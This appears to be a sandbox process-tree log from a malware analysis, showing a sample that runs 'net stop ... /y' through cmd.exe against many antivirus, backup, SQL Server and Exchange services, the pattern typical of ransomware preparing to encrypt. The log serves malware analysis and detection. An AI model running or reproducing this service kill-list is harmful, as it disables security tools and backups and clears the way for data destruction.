- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop McTaskManager /y
  2⤵
  PID:2864
- - C:\Windows\SysWOW64\net.exe
    net stop McTaskManager /y
    3⤵
    PID:1580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop McTaskManager /y
      4⤵
      PID:3044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop mfemms /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1096
- - C:\Windows\SysWOW64\net.exe
    net stop mfemms /y
    3⤵
    PID:2364
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop mfemms /y
      4⤵
      PID:1704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop mfevtp /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3372
- - C:\Windows\SysWOW64\net.exe
    net stop mfevtp /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4368
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop mfevtp /y
      4⤵
      PID:488
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MMS /y
  2⤵
  PID:3324
- - C:\Windows\SysWOW64\net.exe
    net stop MMS /y
    3⤵
    PID:1600
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MMS /y
      4⤵
      PID:136
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop mozyprobackup /y
  2⤵
  PID:4936
- - C:\Windows\SysWOW64\net.exe
    net stop mozyprobackup /y
    3⤵
    PID:2424
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop mozyprobackup /y
      4⤵
      PID:3620
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MsDtsServer /y
  2⤵
  PID:5044
- - C:\Windows\SysWOW64\net.exe
    net stop MsDtsServer /y
    3⤵
    PID:1608
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MsDtsServer /y
      4⤵
      PID:2524
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MsDtsServer100 /y
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\net.exe
    net stop MsDtsServer100 /y
    3⤵
    PID:2568
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MsDtsServer100 /y
      4⤵
      PID:2156
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MsDtsServer110 /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1352
- - C:\Windows\SysWOW64\net.exe
    net stop MsDtsServer110 /y
    3⤵
    PID:2612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MsDtsServer110 /y
      4⤵
      PID:2748
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSExchangeES /y
  2⤵
  PID:2312
- - C:\Windows\SysWOW64\net.exe
    net stop MSExchangeES /y
    3⤵
    PID:2876
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSExchangeES /y
      4⤵
      PID:5116
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSExchangeIS /y
  2⤵
  PID:4824
- - C:\Windows\SysWOW64\net.exe
    net stop MSExchangeIS /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3048
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSExchangeIS /y
      4⤵
      PID:1252
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSExchangeMGMT /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3960
- - C:\Windows\SysWOW64\net.exe
    net stop MSExchangeMGMT /y
    3⤵
    PID:3696
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSExchangeMGMT /y
      4⤵
      PID:2428
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSExchangeMTA /y
  2⤵
  PID:4808
- - C:\Windows\SysWOW64\net.exe
    net stop MSExchangeMTA /y
    3⤵
    PID:856
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSExchangeMTA /y
      4⤵
      PID:4068
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSExchangeSA /y
  2⤵
  PID:2604
- - C:\Windows\SysWOW64\net.exe
    net stop MSExchangeSA /y
    3⤵
    PID:1584
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSExchangeSA /y
      4⤵
      PID:5032
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSExchangeSRS /y
  2⤵
  PID:4108
- - C:\Windows\SysWOW64\net.exe
    net stop MSExchangeSRS /y
    3⤵
    PID:4552
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSExchangeSRS /y
      4⤵
      PID:3288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSOLAP$SQL_2008 /y
  2⤵
  PID:860
- - C:\Windows\SysWOW64\net.exe
    net stop MSOLAP$SQL_2008 /y
    3⤵
    PID:4612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3456
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSOLAP$SYSTEM_BGC /y
  2⤵
  PID:3692
- - C:\Windows\SysWOW64\net.exe
    net stop MSOLAP$SYSTEM_BGC /y
    3⤵
    PID:2284
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
      4⤵
      PID:2752
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSOLAP$TPS /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2472
- - C:\Windows\SysWOW64\net.exe
    net stop MSOLAP$TPS /y
    3⤵
    PID:796
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSOLAP$TPS /y
      4⤵
      PID:3596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSOLAP$TPSAMA /y
  2⤵
  PID:2112
- - C:\Windows\SysWOW64\net.exe
    net stop MSOLAP$TPSAMA /y
    3⤵
    PID:1076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
      4⤵
      PID:4380
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$BKUPEXEC /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4200
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$BKUPEXEC /y
    3⤵
    PID:1104
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y
      4⤵
      PID:1184
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$ECWDB2 /y
  2⤵
  PID:3420
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$ECWDB2 /y
    3⤵
    PID:3688
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
      4⤵
      PID:4720
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$PRACTICEMGT /y
  2⤵
  PID:756
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$PRACTICEMGT /y
    3⤵
    PID:1508
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$PRACTTICEBGC /y
  2⤵
  PID:1596
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$PRACTTICEBGC /y
    3⤵
    PID:2216
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
      4⤵
      PID:420
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$PROFXENGAGEMENT /y
  2⤵
  PID:1708
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$PROFXENGAGEMENT /y
    3⤵
    PID:432
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y
      4⤵
      PID:912
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$SBSMONITORING /y
  2⤵
  PID:656
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$SBSMONITORING /y
    3⤵
    PID:488
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
      4⤵
      PID:2944
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$SHAREPOINT /y
  2⤵
  PID:4856
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$SHAREPOINT /y
    3⤵
    PID:4800
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
      4⤵
      PID:5080
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$SQL_2008 /y
  2⤵
  PID:4600
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$SQL_2008 /y
    3⤵
    PID:3748
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
      4⤵
      PID:776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$SYSTEM_BGC /y
  2⤵
  PID:392
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$SYSTEM_BGC /y
    3⤵
    PID:4384
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
      4⤵
      PID:1776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$TPS /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5056
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$TPS /y
    3⤵
    PID:1116
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$TPS /y
      4⤵
      PID:2624
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$TPSAMA /y
  2⤵
  PID:2236
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$TPSAMA /y
    3⤵
    PID:4892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
      4⤵
      PID:5064
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:5116
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$VEEAMSQL2008R2 /y
    3⤵
    PID:3108
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
      4⤵
      PID:1788
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$VEEAMSQL2012 /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1276
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$VEEAMSQL2012 /y
    3⤵
    PID:4224
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2540
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher /y
  2⤵
  PID:2428
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher /y
    3⤵
    PID:3448
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher /y
      4⤵
      PID:4772
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4956
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
    3⤵
    PID:1112
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
      4⤵
      PID:1972
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher$SBSMONITORING /y
  2⤵
  PID:852
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher$SBSMONITORING /y
    3⤵
    PID:3860
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
      4⤵
      PID:3288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher$SHAREPOINT /y
  2⤵
  PID:4672
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher$SHAREPOINT /y
    3⤵
    PID:400
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher$SQL_2008 /y
  2⤵
  PID:2180
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher$SQL_2008 /y
    3⤵
    PID:2532
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
      4⤵
      PID:2348
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher$SYSTEM_BGC /y
  2⤵
  PID:3736
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher$SYSTEM_BGC /y
    3⤵
    PID:2964
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
      4⤵
      PID:4484
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher$TPS /y
  2⤵
  PID:2368
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher$TPS /y
    3⤵
    PID:4880
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
      4⤵
      PID:1136
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLFDLauncher$TPSAMA /y
  2⤵
  PID:4876
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLFDLauncher$TPSAMA /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2444
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2320
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLSERVER /y
  2⤵
  PID:2232
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLSERVER /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4244
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLSERVER /y
      4⤵
      PID:8
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLServerADHelper100 /y
  2⤵
  PID:1816
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLServerADHelper100 /y
    3⤵
    PID:2924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
      4⤵
      PID:3044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLServerOLAPService /y
  2⤵
  PID:3344
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLServerOLAPService /y
    3⤵
    PID:4072
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
      4⤵
      PID:3808
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MySQL57 /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1296
- - C:\Windows\SysWOW64\net.exe
    net stop MySQL57 /y
    3⤵
    PID:1524
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MySQL57 /y
      4⤵
      PID:1848
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ntrtscan /y
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\net.exe
    net stop ntrtscan /y
    3⤵
    PID:5080
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ntrtscan /y
      4⤵
      PID:4036
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop OracleClientCache80 /y
  2⤵
  PID:4048
- - C:\Windows\SysWOW64\net.exe
    net stop OracleClientCache80 /y
    3⤵
    PID:3652
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop OracleClientCache80 /y
      4⤵
      PID:1756
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop PDVFSService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3556
- - C:\Windows\SysWOW64\net.exe
    net stop PDVFSService /y
    3⤵
    PID:3184
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop PDVFSService /y
      4⤵
      PID:972
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop POP3Svc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2524
- - C:\Windows\SysWOW64\net.exe
    net stop POP3Svc /y
    3⤵
    PID:4640
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop POP3Svc /y
      4⤵
      PID:4924
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ReportServer /y
  2⤵
  PID:2748
- - C:\Windows\SysWOW64\net.exe
    net stop ReportServer /y
    3⤵
    PID:2268
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ReportServer /y
      4⤵
      PID:4592
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ReportServer$SQL_2008 /y
  2⤵
  PID:1332
- - C:\Windows\SysWOW64\net.exe
    net stop ReportServer$SQL_2008 /y
    3⤵
    PID:5096
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
      4⤵
      PID:784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ReportServer$SYSTEM_BGC /y
  2⤵
  PID:2564
- - C:\Windows\SysWOW64\net.exe
    net stop ReportServer$SYSTEM_BGC /y
    3⤵
    PID:3492
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
      4⤵
      PID:2596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ReportServer$TPS /y
  2⤵
  PID:468
- - C:\Windows\SysWOW64\net.exe
    net stop ReportServer$TPS /y
    3⤵
    PID:4516
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ReportServer$TPS /y
      4⤵
      PID:1972
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ReportServer$TPSAMA /y
  2⤵
  PID:3572
- - C:\Windows\SysWOW64\net.exe
    net stop ReportServer$TPSAMA /y
    3⤵
    PID:3464
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
      4⤵
      PID:3824
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop RESvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3788
- - C:\Windows\SysWOW64\net.exe
    net stop RESvc /y
    3⤵
    PID:4536
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop RESvc /y
      4⤵
      PID:3272
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sacsvr /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2204
- - C:\Windows\SysWOW64\net.exe
    net stop sacsvr /y
    3⤵
    PID:4928
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sacsvr /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3180
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SamSs /y
  2⤵
  PID:2460
- - C:\Windows\SysWOW64\net.exe
    net stop SamSs /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4484
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SamSs /y
      4⤵
      PID:3596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SAVAdminService /y
  2⤵
  PID:4440
- - C:\Windows\SysWOW64\net.exe
    net stop SAVAdminService /y
    3⤵
    PID:4756
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SAVAdminService /y
      4⤵
      PID:4920
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SAVService /y
  2⤵
  PID:2676
- - C:\Windows\SysWOW64\net.exe
    net stop SAVService /y
    3⤵
    PID:1184
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SAVService /y
      4⤵
      PID:2640
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SDRSVC /y
  2⤵
  PID:1696
- - C:\Windows\SysWOW64\net.exe
    net stop SDRSVC /y
    3⤵
    PID:4904
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SDRSVC /y
      4⤵
      PID:3232
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SepMasterService /y
  2⤵
  PID:2588
- - C:\Windows\SysWOW64\net.exe
    net stop SepMasterService /y
    3⤵
    PID:4128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SepMasterService /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1732
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ShMonitor /y
  2⤵
  PID:3812
- - C:\Windows\SysWOW64\net.exe
    net stop ShMonitor /y
    3⤵
    PID:3844
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ShMonitor /y
      4⤵
      PID:2860
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop Smcinst /y
  2⤵
  PID:5100
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1848
- - C:\Windows\SysWOW64\net.exe
    net stop Smcinst /y
    3⤵
    PID:1740
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop Smcinst /y
      4⤵
      PID:5084
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SmcService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1536
- - C:\Windows\SysWOW64\net.exe
    net stop SmcService /y
    3⤵
    PID:1632
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SmcService /y
      4⤵
      PID:1756
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SMTPSvc /y
  2⤵
  PID:776
- - C:\Windows\SysWOW64\net.exe
    net stop SMTPSvc /y
    3⤵
    PID:2028
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SMTPSvc /y
      4⤵
      PID:2636
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$BKUPEXEC /y
  2⤵
  PID:5000
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$BKUPEXEC /y
    3⤵
    PID:4060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y
      4⤵
      PID:1512
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$ECWDB2 /y
  2⤵
  PID:4848
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$ECWDB2 /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y
      4⤵
      PID:1824
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$PRACTTICEBGC /y
  2⤵
  PID:724
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$PRACTTICEBGC /y
    3⤵
    PID:4632
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4748
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$PRACTTICEMGT /y
  2⤵
  PID:1008
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$PRACTTICEMGT /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1088
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4188
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$PROFXENGAGEMENT /y
  2⤵
  PID:4496
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$PROFXENGAGEMENT /y
    3⤵
    PID:4616
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3552
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$SBSMONITORING /y
  2⤵
  PID:5108
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$SBSMONITORING /y
    3⤵
    PID:4944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
      4⤵
      PID:3308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:4548
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3272
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:4032
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
      4⤵
      PID:4816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$SQL_2008 /y
  2⤵
  PID:3180
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$SQL_2008 /y
    3⤵
    PID:3056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y
      4⤵
      PID:3312
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$SYSTEM_BGC /y
  2⤵
  PID:4136
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$SYSTEM_BGC /y
    3⤵
    PID:4540
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y
      4⤵
      PID:3172
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$TPS /y
  2⤵
  PID:4120
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$TPS /y
    3⤵
    PID:5072
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$TPS /y
      4⤵
      PID:2928
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$TPSAMA /y
  2⤵
  PID:4708
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$TPSAMA /y
    3⤵
    PID:4720
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$TPSAMA /y
      4⤵
      PID:1516
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:3776
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$VEEAMSQL2008R2 /y
    3⤵
    PID:572
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
      4⤵
      PID:1808
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$VEEAMSQL2012 /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3216
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$VEEAMSQL2012 /y
    3⤵
    PID:912
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3808
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLBrowser /y
  2⤵
  PID:2360
- - C:\Windows\SysWOW64\net.exe
    net stop SQLBrowser /y
    3⤵
    PID:2116
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLBrowser /y
      4⤵
      PID:3768
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLSafeOLRService /y
  2⤵
  PID:2480
- - C:\Windows\SysWOW64\net.exe
    net stop SQLSafeOLRService /y
    3⤵
    PID:240
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLSafeOLRService /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLSERVERAGENT /y
  2⤵
  PID:4044
- - C:\Windows\SysWOW64\net.exe
    net stop SQLSERVERAGENT /y
    3⤵
    PID:5060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLSERVERAGENT /y
      4⤵
      PID:1512
